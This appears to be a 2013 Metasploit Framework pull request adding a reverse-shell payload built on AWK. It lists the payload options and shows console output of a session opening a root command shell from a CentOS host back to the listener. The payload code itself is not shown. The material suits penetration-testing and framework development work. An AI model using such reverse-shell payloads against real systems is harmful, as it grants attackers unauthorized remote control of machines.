rapid7/metasploit-framework — pull request #1885 by espreto (2013-05-30 00:26:20+00:00)
Title: Creates an interactive shell via AWK (reverse)

Payload options (cmd/unix/reverse_awk):

Name Current Setting Required Description

LHOST 192.168.0.142 yes The listen address
LPORT 8888 yes The listen port

Exploit target:

Id Name

0 Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.142:8888
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.0.142:8888 -> 192.168.0.117:58791) at 2013-05-29 17:50:03 -0300

shell> id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
shell>

Tested in:
CentOS release 6.4 (Final)